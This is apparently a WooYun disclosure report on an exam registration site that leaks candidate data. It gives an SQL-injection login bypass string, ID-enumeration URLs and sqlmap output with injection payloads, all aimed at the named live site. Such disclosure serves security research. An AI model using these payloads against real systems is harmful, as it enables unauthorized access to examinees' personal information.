当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117668

漏洞标题:某考试网站权限不当泄露考生数据

相关厂商:考生之家

漏洞作者: tweek

提交时间:2015-06-02 12:43

修复时间:2015-07-17 12:44

公开时间:2015-07-17 12:44

漏洞类型:未授权访问/权限绕过

危害等级:中

自评Rank:8

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-02: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-07-17: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

考生之家,权限管理不当,导致考生信息泄露。同是还有sql注入等问题

详细说明:

1. 网站地址: http://www.e21cn.com/
2. 主站没细看,主要是帮朋友报名,直接看报名网站: http://bm.e21cn.com/
登录地址:http://bm.e21cn.com/log/login.asp
用户名: abc' or '1'='1 密码随意

abc.png


3. 权限不当: 改下kshid就可以遍历考生信息
http://bm.e21cn.com/adminblock/bminfo/bmtxt.asp?ksid=606&kshid=791936&bminfoid=45801&page=1&ksname=bm_cy100318
http://bm.e21cn.com/adminblock/bminfo/bmtxt.asp?ksid=606&kshid=791937&bminfoid=45801&page=1&ksname=bm_cy100318
4. 存在注入:
sqlmap -u "http://bm.e21cn.com/adminblock/bminfo/bmtxt.asp?ksid=606&kshid=791937&bminfoid=45801&page=1&ksname=bm_cy100318"

[10:52:05] [INFO] resuming back-end DBMS 'microsoft sql server' 
[10:52:05] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: bminfoid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ksid=606&kshid=791936&bminfoid=45801 AND 4640=4640&page=1&ksname=bm_cy100318
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: ksid=606&kshid=791936&bminfoid=45801;WAITFOR DELAY '0:0:5'--&page=1&ksname=bm_cy100318
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: ksid=606&kshid=791936&bminfoid=45801 WAITFOR DELAY '0:0:5'&page=1&ksname=bm_cy100318


4. 不深究了,我还要去帮朋友报名~~~~

漏洞证明:

权限不当:
http://bm.e21cn.com/adminblock/bminfo/bmtxt.asp?ksid=606&kshid=791937&bminfoid=45801&page=1&ksname=bm_cy100318
截图:

proof.png

修复方案:

123

版权声明:转载请注明来源 tweek@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝